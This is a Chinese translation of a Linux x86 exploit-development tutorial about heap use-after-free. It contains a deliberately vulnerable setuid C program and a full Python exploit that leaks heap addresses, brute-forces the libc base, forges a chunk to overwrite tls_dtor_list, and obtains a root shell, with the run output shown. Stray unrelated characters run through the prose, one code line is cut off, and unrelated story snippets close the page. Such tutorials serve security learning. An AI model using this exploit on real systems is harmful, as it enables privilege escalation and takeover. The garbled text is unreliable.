Linux (x86) Exploit 開發(fā)系列教程之十二 釋放后使用

釋放后使用

譯者:飛龍

原文:Use-After-Free

預備條件:

  1. Off-By-One 漏洞(基于棧)
  2. 理解 glibc malloc

VM 配置:Fedora 20(x86)

什么是釋放后使用(UAF)猖任?

繼續(xù)使用已經(jīng)被釋放的堆內(nèi)存指針叫做釋放后使用肚医。這個漏洞會導致任意代碼執(zhí)行。

漏洞代碼:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)

int main(int argc, char **argv) {

 char* name = malloc(12); /* [1] */
 char* details = malloc(12); /* [2] */
 strncpy(name, argv[1], 12-1); /* [3] */
 free(details); /* [4] */
 free(name);  /* [5] */
 printf("Welcome %s\n",name); /* [6] */
 fflush(stdout);

 char* tmp = (char *) malloc(12); /* [7] */
 char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
 char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
 free(p2); /* [10] */
 char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
 char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */

 printf("Enter your region\n");
 fflush(stdout);
 read(0,p2,BUFSIZE1-1); /* [13] */
 printf("Region:%s\n",p2); 
 free(p1); /* [14] */
}

編譯命令:

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

注意:不像上一篇文章,ASLR 在這里是打開的。所以現(xiàn)在讓我們利用 UAF 漏洞囤攀,因為 ASLR 打開了鸽疾,讓我們使用信息泄露和爆破技巧來繞過它兼砖。

上面的漏洞代碼包含兩個 UAF 漏洞蔚润,位于行[6][13]磅氨。它們的堆內(nèi)存在行[5][10]釋放,但是它們的指針即使在釋放后也使用嫡纠,在行[6][13]烦租。行[6]的UAF 會導致信息泄露,而行[13]的 UAF 導致任意代碼執(zhí)行除盏。

什么是信息泄露叉橱?攻擊者如何利用它?

在我們的漏洞代碼(行[6])中痴颊,被泄露的信息是堆地址赏迟。這個泄露的對地址會幫助攻擊者輕易計算出隨機化堆段的基地址,因此繞過 ASLR蠢棱。

為了理解堆地址如何泄露的,讓我們首先理解漏洞代碼的前半部分甩栈。

  • [1]name分配了 16 字節(jié)的堆內(nèi)存區(qū)域泻仙。
  • [2]details分配了 16 字節(jié)的堆內(nèi)存區(qū)域。
  • [3]將程序的參數(shù) 1(argv[1])復制到堆內(nèi)存區(qū)域name中量没。
  • [4][5]將堆內(nèi)存區(qū)域namedetails釋放給 glibc malloc玉转。
  • [6]printf在釋放后使用name指針,這會導致堆地址的泄露殴蹄。

閱讀預備條件中的文章之后究抓,我們知道,對應namedetails指針的塊都是 fast 塊袭灯,并且刺下,當這些 fast 塊被釋放時,它們儲存在 fast bin 的下標 0 處稽荧。我們也知道橘茉,每個 fast bin 都包含一個空閑塊的單鏈表。因此對于我們的示例來說姨丈,fast bin 下標 0 處的單鏈表是這樣:

main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL

由于這個單鏈表畅卓。name的前四個字節(jié)包含details_chunk地址,因此在打印name時蟋恬,details_chunk地址首先被打印翁潘。我們可以從堆布局中知道,details_chunk位于堆基址的 0x10 偏移處歼争。因此從泄露的堆地址減去 0x10拜马,我們就得到了堆的基址箱歧。

如何實現(xiàn)任意代碼執(zhí)行?

現(xiàn)在獲得隨機化堆段的基址之后一膨,讓我們看看如何通過理解漏洞代碼的后半部分呀邢,來實現(xiàn)任意代碼執(zhí)行。

  • [7]tmp分配了 16 字節(jié)的堆內(nèi)存區(qū)域豹绪。
  • [8]p1分配了 1024 字節(jié)的堆內(nèi)存區(qū)域价淌。
  • [9]p2分配了 1024 字節(jié)的堆內(nèi)存區(qū)域。
  • [10]將堆內(nèi)存區(qū)域p2釋放給 glibc malloc瞒津。
  • [11]p2_1分配了 512 字節(jié)的堆內(nèi)存區(qū)域蝉衣。
  • [12]p2_2分配了 512 字節(jié)的堆內(nèi)存區(qū)域。
  • [13]的讀取在釋放后使用了p2指針巷蚪。
  • [14]將堆內(nèi)存區(qū)域p1釋放給 glibc malloc病毡。這會在程序退出時導致任意代碼執(zhí)行。

閱讀預備條件中的文章之后屁柏,我們知道啦膜,當p2釋放給 glibc malloc 時,它會和 top 塊合并淌喻。之后為p2_1請求內(nèi)存時僧家,它會從 top 塊分配 -- p2p2_1包含相同的堆地址。之后為p2_2請求內(nèi)存時裸删,它也從 top 塊分配 -- p2_2p2之后的 512 個字節(jié)八拱。因此在行[13]中,p2指針在釋放后使用時涯塔,攻擊者控制的數(shù)據(jù)(最大 1019 字節(jié))會復制到p2_1肌稻,它的大小只有 512 字節(jié),因此剩余的攻擊者數(shù)據(jù)會覆蓋下一個塊p2_2匕荸,允許攻擊者覆蓋下一個塊頭部的size字段爹谭。

堆布局:

1

我們在預備條件中的文章中看到,如果攻擊者成功覆蓋了下一個塊的size字段的 LSB每聪,它就可以欺騙 glibc malloc 來 unlink 塊p2_1旦棉,即使它處于分配狀態(tài)。在相同文章中药薯,我們也看到绑洛,當攻擊者精心構(gòu)造偽造的塊頭部時,unlink 一個處于已分配狀態(tài)的 large 塊會導致任意代碼執(zhí)行童本。攻擊者可以像這樣構(gòu)造偽造的塊頭部:

  • fd應該指向釋放的塊地址真屯。從堆的布局中我們可以看到,p2_1位于偏移 0x410穷娱。所以fd = heap_base_address + 0x410绑蔫,heap_base_address從信息泄露的 bug 中獲取运沦。

  • bk也應該指向釋放的塊地址。從堆的布局中我們可以看到配深,p2_1位于偏移 0x410携添。所以fd = heap_base_address + 0x410heap_base_address從信息泄露的 bug 中獲取篓叶。

  • fd_nextsize應該指向tls_dtor_list – 0x14烈掠。tls_dtor_list屬于 glibc 的私有匿名映射區(qū)段,它是隨機化的缸托。因此為了繞過這個隨機化左敌,讓我們使用爆破技巧,就像下面的利用代碼那樣俐镐。

  • bk_nextsize應該指向堆內(nèi)存矫限,該內(nèi)存包含dtor_list元素。systemdtor_list由攻擊者注入在這個偽造的塊頭部后面佩抹,而setuiddtor_list由攻擊者注入在p2_2堆內(nèi)存區(qū)域內(nèi)叼风。從堆布局中我們了解到,systemsetuiddtor_list位于偏移 0x428 和 0x618 處匹摇。

使用所有這些信息咬扇,讓我們編寫利用程序來攻擊漏洞二進制vuln

利用代碼:

#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time

ip = '127.0.0.1'
port = 1234

def conv(num): return struct.pack("<I
def send(data):
 global con
 con.write(data)
 return con.read_until('\n')

print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0

while True:
 time.sleep(4)
 con = telnetlib.Telnet(ip, port)
 laddress = con.read_until('\n')
 laddress = laddress[8:12]
 heap_addr_tup = struct.unpack("<I", laddress)
 heap_addr = heap_addr_tup[0]
 print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
 heap_base_addr = heap_addr - 0x10
 fd = heap_base_addr + 0x410
 bk = fd
 bk_nextsize = heap_base_addr + 0x618
 mp = heap_base_addr + 0x18
 nxt = heap_base_addr + 0x428

 print "** Constructing fake chunk to overwrite tls_dtor_list**"
 fake_chunk = conv(fd)
 fake_chunk += conv(bk)
 fake_chunk += conv(fd_nextsize)
 fake_chunk += conv(bk_nextsize)
 fake_chunk += conv(system)
 fake_chunk += conv(system_arg)
 fake_chunk += "A" * 484
 fake_chunk += conv(size)
 fake_chunk += conv(setuid)
 fake_chunk += conv(setuid_arg)
 fake_chunk += conv(mp)
 fake_chunk += conv(nxt)
 print "** Successful tls_dtor_list overwrite gives us shell!!**"
 send(fake_chunk)

 try: 
  con.interact()
 except: 
  exit(0)

由于在爆破技巧中,我們需要嘗試多次(直到成功)廊勃。讓我們將我們的漏洞二進制vuln運行為網(wǎng)絡服務器,并使用 Shell 教程來確保崩潰時自動重啟:

#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
 if [[ -z $nc_process_id ]]; then
 echo "(Re)starting nc..."
 nc -l -p 1234 -c "./vuln sploitfun"
 else
 echo "nc is running..."
 fi
done

執(zhí)行上述利用代碼會給我們 root shell经窖。好的坡垫。

Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$

參考:

Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability – Remote Code Execution

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市画侣,隨后出現(xiàn)的幾起案子冰悠,更是在濱河造成了極大的恐慌,老刑警劉巖配乱,帶你破解...
    沈念sama閱讀 221,430評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件溉卓,死亡現(xiàn)場離奇詭異,居然都是意外死亡搬泥,警方通過查閱死者的電腦和手機桑寨,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,406評論 3 398
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來忿檩,“玉大人尉尾,你說我怎么就攤上這事≡锿福” “怎么了沙咏?”我有些...
    開封第一講書人閱讀 167,834評論 0 360
  • 文/不壞的土叔 我叫張陵辨图,是天一觀的道長。 經(jīng)常有香客問我肢藐,道長故河,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 59,543評論 1 296
  • 正文 為了忘掉前任吆豹,我火速辦了婚禮鱼的,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘瞻讽。我一直安慰自己鸳吸,他們只是感情好,可當我...
    茶點故事閱讀 68,547評論 6 397
  • 文/花漫 我一把揭開白布速勇。 她就那樣靜靜地躺著晌砾,像睡著了一般。 火紅的嫁衣襯著肌膚如雪烦磁。 梳的紋絲不亂的頭發(fā)上养匈,一...
    開封第一講書人閱讀 52,196評論 1 308
  • 那天,我揣著相機與錄音都伪,去河邊找鬼呕乎。 笑死,一個胖子當著我的面吹牛陨晶,可吹牛的內(nèi)容都是我干的猬仁。 我是一名探鬼主播,決...
    沈念sama閱讀 40,776評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼先誉,長吁一口氣:“原來是場噩夢啊……” “哼湿刽!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起褐耳,我...
    開封第一講書人閱讀 39,671評論 0 276
  • 序言:老撾萬榮一對情侶失蹤诈闺,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后铃芦,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體雅镊,經(jīng)...
    沈念sama閱讀 46,221評論 1 320
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,303評論 3 340
  • 正文 我和宋清朗相戀三年刃滓,在試婚紗的時候發(fā)現(xiàn)自己被綠了仁烹。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,444評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡注盈,死狀恐怖晃危,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤僚饭,帶...
    沈念sama閱讀 36,134評論 5 350
  • 正文 年R本政府宣布震叮,位于F島的核電站,受9級特大地震影響鳍鸵,放射性物質(zhì)發(fā)生泄漏苇瓣。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,810評論 3 333
  • 文/蒙蒙 一偿乖、第九天 我趴在偏房一處隱蔽的房頂上張望击罪。 院中可真熱鬧,春花似錦贪薪、人聲如沸媳禁。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,285評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽竣稽。三九已至,卻和暖如春霍弹,著一層夾襖步出監(jiān)牢的瞬間毫别,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,399評論 1 272
  • 我被黑心中介騙來泰國打工典格, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留岛宦,地道東北人。 一個月前我還...
    沈念sama閱讀 48,837評論 3 376
  • 正文 我出身青樓耍缴,卻偏偏與公主長得像砾肺,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子防嗡,可洞房花燭夜當晚...
    茶點故事閱讀 45,455評論 2 359

推薦閱讀更多精彩內(nèi)容